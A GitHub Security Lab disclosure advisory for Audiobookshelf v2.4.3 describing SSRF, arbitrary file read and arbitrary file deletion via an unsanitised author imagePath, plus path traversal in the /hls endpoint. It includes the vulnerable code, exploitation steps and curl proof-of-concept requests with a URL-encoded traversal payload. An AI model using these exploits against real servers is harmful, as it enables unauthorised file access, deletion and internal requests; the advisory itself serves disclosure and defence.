Coordinated Disclosure Timeline

Summary

Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.

Project

audiobookshelf

Tested Version

v2.4.3

Details

Issue 1: SSRF and Arbitrary File Read in AuthorController.js (GHSL-2023-203)

Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.

   const payload = req.body // <---- imagePath comes from req.body without sanitization
    if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
      if (!payload.imagePath && req.author.imagePath) {
        await CacheManager.purgeImageCache(req.author.id)
        await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
      } else if (payload.imagePath.startsWith('http')) {
        const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
        if (imageData) {
          if (req.author.imagePath) {
            await CacheManager.purgeImageCache(req.author.id)
          }
          payload.imagePath = imageData.path
          hasUpdated = true
        }
      } else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
        if (!await fs.pathExists(payload.imagePath)) {            // < ---- only check for existence of path, thus specifying any local file will result in file read
          Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
          return res.status(400).send('Author image path does not exist')
        }

        if (req.author.imagePath) {
          await CacheManager.purgeImageCache(req.author.id)
        }
      }
    }

Impact

This issue may lead to Information Disclosure.

Resources

SSRF

  1. In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the desired url which will send a PATCH request to /api/authors/author-id.
  2. Download the file from api/authors/author-id/image with the following command:

curl -i -s -k -X $'GET' \ -H $'Host: localhost:3333' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true'

Arbitrary File Deletion

  1. In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the path to the file you wish to delete which will send a PATCH request to /api/authors/author-id.
  2. Then, go into the UI and click to edit the author’s image and put in nothing which will send a PATCH request to /api/authors/author-id with an empty imagePath, deleting the file.

Issue 2: Arbitrary File Read in HlsRouter.js (GHSL-2023-204)

Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls endpoint.

 var streamId = req.params.stream
 var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
 var exists = await fs.pathExists(fullFilePath)
 res.sendFile(fullFilePath)

Impact

This issue may lead to Information Disclosure.

Resources

Proof of Concept:

curl -i -s -k -X $'GET' \
    -H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'

Note: The %2Fs are URL-encoded forward slashes (/) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL’s SSRF and Path Injection queries.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-203 or GHSL-2023-204 in any communication regarding these issues.